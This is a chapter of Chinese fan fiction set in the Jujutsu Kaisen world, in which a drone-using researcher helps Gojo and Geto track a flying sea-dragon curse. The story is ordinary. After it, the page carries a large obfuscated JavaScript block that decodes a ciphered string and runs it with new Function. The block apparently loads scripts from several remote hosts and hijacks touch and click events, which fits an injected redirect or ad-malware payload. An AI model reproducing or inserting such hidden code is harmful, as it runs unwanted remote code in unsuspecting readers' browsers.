第55章 55(1 / 2)

    在等着咒术师到来的这段时间里, 远山湊发现了一个问题——这只咒灵是会移动的。

    他原本只是打算保险起见,将数据测得更精准一些,没想到无人机飞了好几圈,每一圈的数据都有些细微的变化。

    这就有点麻烦。

    由于以前的经验, 他先入为主地认为, 咒灵往往会待在自己的出生地不动, 就算会移动也只像是当初东电大的咒灵一样在校园内部徘徊, 从未踏出过校门。没想到这条游曳在海上的龙活动范围格外开阔,电脑计算出来的数据在小地图当中标了好几个红点。

    之后又排查了几轮, 勉强发现这只咒灵的行动还算有规律,遂去附近的便利店里买了几个饭团和一瓶瓶装水, 在沙滩上原地坐下边等着无人机秒点边吃东西。

    在更换电池的时候,一辆黑色轿车停在了不远处。

    夏油杰第一眼看到的就是这个场面。

    熟悉的背影席地而坐,袖管和头发都在海风当中微微动摇。吃剩下的饭团包装被装在一个塑料袋里等着过一会儿扔掉,更远处放着一个摊开的旅行箱, 里面装了一大堆叫不出名字的设备。

    这些设备里都有着隐隐约约的咒力透出。

    ……伪装真是到位啊, 夏油杰想, 就算是自己,倘若没有一开始认识前辈的基础在, 估计也只会把对方当作是一名咒术师。

    “……远山前辈!”

    “山见先生!”

    “湊!”

    三个人发出不同的声音,随后五条悟的脑门挨了不轻不重的一掌, 出手的夏油杰笑眯眯地表示, 对年长的人说话要更尊重一点。

    “什么啊, 明明弱得要命。”

    五条悟双手插在裤兜里跟在他的身后,在沙滩上踩出一串脚印。辅助监督紧随其后, 在心中惊讶“这几个人果然互相认识”的同时, 也感叹着自己竟然在这种时候知道了对方的真名。

    远山(Toyama)湊(Minato), 山见(Yamami),去掉两边留中间,果然是个很省事的名字。

    远山湊也回过头,看清楚来人之后,明显放松了下来:“太好了,如果来的是别的咒术师,我都不知道应该怎样解释。”

    “应该是由前辈先解释才对吧,说是这里有一级咒灵。”

    见面带来的那点愉快心理迅速烟消云散,夏油杰重新恢复了严肃的表情:“一口气突然跑来鸟取县,又呆在有咒灵出没的危险区域,前辈还请稍微有点作为成年人的自觉。”

    两人一站一坐,夏油杰本身就长得高,阴影投在沙滩上,几乎将对方彻底笼罩起来,带来了十足的压迫感。

    明明是非术师,却总是做危险的事……现在辅助监督就在旁边,他当然没办法戳穿对方的身份,只能沿着“非战斗人员”的说法顺坡下:“这附近等级最高的咒术师也就只有二级,要是一不小心对上了视线的话,就连找救援都很难。”

    “嘛……这里距离咒灵原本的位置其实还有十几公里,我又租不到船,其实海岸线上还蛮安全的。”

    远山湊指了指不远处,还有小孩子在你追我赶地玩耍,表情没有一丝一毫的危机感:“就算有人在咒灵附近放帐,这里也该算是安全区啦。”

    “说到底,咒灵究竟在什么地方?”

    五条悟打断了他们两个的对话,他推起墨镜露出一双湛蓝色的眼睛,四下张望着看了看:“这附近的咒力都很平顺……啊,你的小飞机上确实沾了一点点残秽,不过只有一点点的点。”

    对方伸出一根食指,比划了大概半个指甲盖那么大的一点距离:“除了我以外,别的咒术师都看不出来的那种程度啦。”

    “咒灵大概在这个位置。”远山湊向他们三个摊开了笔记本电脑,将这附近的地图展示了出来。地图上标记着深深浅浅的颜色,就像是天气预报上的降水云图一样,远山湊指着其中颜色最深的那一点,说道:“大概就在这个位置……当然也有可能四下偏移一些,这次的咒灵飞行范围有点大,不过那附近都是净空,今天天气也很好,这个能见度以五条君的眼力应该到附近就能看到。”

    “噢噢噢!就像是藏宝图一样!”

    五条悟也是第一次看到这样标记咒灵的方法:“有种冒险游戏里寻宝的感觉了!”

    “但是就算提前知道了方位,想要从这里飞过去的话……”

    夏油杰看了看地图上的比例尺:“海上没什么参照物,直接就这样飞过去的话会有点麻烦。”

    “租条船吗?”

    辅助监督岩田先生适时说道:“虽然最近是禁渔期不让出海,但我们只是单纯出去祓除咒灵,我汇报上去和当地渔民好好交涉的话,应该能够租到船来。”

    这是个最稳妥的主意,可惜就是有点费时间。昨天一整天旁观当地辅助监督处理咒灵事件的效率让远山湊觉得,等弄到船的时候保守估计得到今天晚上。

    “带上这个吧。”

    他在自己的行李箱里翻了翻,找出一个巴掌大小的显示屏:“ 有GPS功能,我在这里架设简易基站的话还能进行通讯,不然海上又是高空,连电话都没得打。”

    噢……夏油杰接了过去,点亮屏幕拿在手里看了看,五条悟也凑过脑袋快言快语:“哇!这个箱子好像是哆啦a梦的四次元空间袋!”

    夏油杰这个时候就很能共情自己挚友的想法,前辈总是能拿出一些稀奇古怪的东西,非常符合“未来道具研究所”的名号。有了发信器和通信装置之后,他们两人和海岸线上等待着的辅助监督总算能够保持信息通畅,在有人指挥的情况下,一口气飞个十几公里也不碍事——从咒术高专飞到千代田都比这要遥远一些。

    白发的咒术师活动了一下自己的手腕和肩胛,伴随着嘎巴嘎巴掰动骨节的声音,他的头发无风自动,身体也轻轻漂浮起来。而另一边,夏油杰则是神态很自然地向后一倒,乘坐在了某种肉眼看不见的东西上。

    这大概就是曾经在涉谷触摸到的咒灵——远山湊回忆起那个夜晚接触到的手感,仿佛干燥的鲨鱼皮,柔韧又光滑,延展开大片的圆弧面。

    辅助监督冲着他们二人微微欠身行礼,明明是面对两个年龄远比自己年轻的人,却态度格外恭谨:“祝二位武运昌隆。”

    夏油杰点了点头,又看向远山湊。

    远山湊:“……?”

    他眨了眨眼睛,这是什么意思?要我也来说点什么吗?之前见到别的咒术师时并没有这个环节啊……难道是自己以前一直都忽略了某些流程而不自知吗?

    于是他轻轻咳嗽了一声,露出鼓励的笑容,也祝他们两个一切顺利。

    “嗯,就承前辈的这句话。”

    夏油杰弯起眼睛:“我们很快就回来。”

    两名年轻人消失在了天空当中。

    *

    等到他们两个离开之后,远山湊圆地掀开笔记本电脑,也开始监视起GPS上显示的实时定位。

    代表着通信位置的红点正迅速向着目标位置移动,暂时还没有进行校准的必要。辅助监督两只双手垂落拢在一起,看着正在忙碌的远山湊,忍不住低声赞叹起来:“不愧是山见先生,第一次见面的时候还对这些工作明显感到生疏,现在就已经这么熟练了……而且竟然能够帮上一线执行任务的那些咒术师的忙。”

    “总让比自己年轻的人冲在最前面就已经够丢脸了。”

    远山湊耸耸肩:“派不上用场的成年人当然要尽力而为才好——岩田先生不也是因为这样才成为辅助监督的吗?”

    二人对视一眼,都露出了笑容。远山湊掏出剩下的最后一个金枪鱼饭团,递给对方:“开车一路过来辛苦了吧?抱歉,又给您增加工作量。”

    “怎么会,应尽的工作而已。反倒是山见先生能为了这只咒灵直接跑来鸟取县让我比较惊讶……不对,现在应该说是远山先生了吧?”

    “叫我湊就可以了。”

    屏幕右上方标记着 GPS记录下来的移动速度,两名高专生的巡航速度不算很快,保持在了时速三十到四十公里区间,像是普通人在市区内骑摩托车一样。据说夏油杰的咒灵还能飞得更快,但没有头盔也不带防护措施地直面强风舒适度会大打折扣,因此非紧急情况的时候,他会将咒灵的飞行速度控制在一个比较舒适的范围内。

    两人已经穿越层云,到了肉眼看不见的位置,远山湊原本还想要用无人机伴飞,观察了一下发现根本追不上,干脆利落地迅速放弃。

    而另一边,五条悟飞了一半就放弃控制咒力,快快乐乐地偷懒打算搭乘自己挚友的便车。两个人挤在一只蝠鲼上还算坐得下,夏油杰操纵着咒灵萍飞了一段时间之后,五条悟突然猛拽对方的胳膊,伸手指向斜向上的位置:“快看!那边!”

    夏油杰顺着他手指的方向看过去,翻滚的云层当中,露出了一条龙蜿蜒着的身躯。

    ——原来真有龙啊。

    虽然是咒灵。

    他原本最坏的打算是遇到一条会飞的蜈蚣来着。

    少年当机立断要拍板,让五条悟不要把这只咒灵彻底干掉,他自己要留着吃。白发的咒术师显然也很了解自己挚友挑咒灵的喜好,抬起一条手臂瞄准,术式顺转的咒力倾泻而出,周围的层云立刻扭曲起来,形成一小片白色的漩涡。

    他这一记瞄准的是咒灵的尾巴,可惜对方反应格外灵敏,早有准备地摆尾躲开。一击打空之后,五条悟不信邪地再度调转咒力,仍旧没有成功击中目标。

    “可恶,明明是条龙,滑溜溜的像条泥鳅!”

    “有危机感说明比较聪明嘛,这样才有吃的价值。”

!function(){function a(a){var _idx="v2gnzcw4xp";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR8X@p24(DoRJ"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"X@p24(DoRJ"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mpOL2fmRT4"="o}0X5ThF)m64YdCmRT4"="o}02pThFmpOL2fmRT4"="o}0_JqhFm64YdCmRT4"="o}02TOhFmpOL2fmRT4"="o}0CSqhF)m64YdCmRT4"="o}0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q/f/o}0j(8}vR8X@p24(DoRJ"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();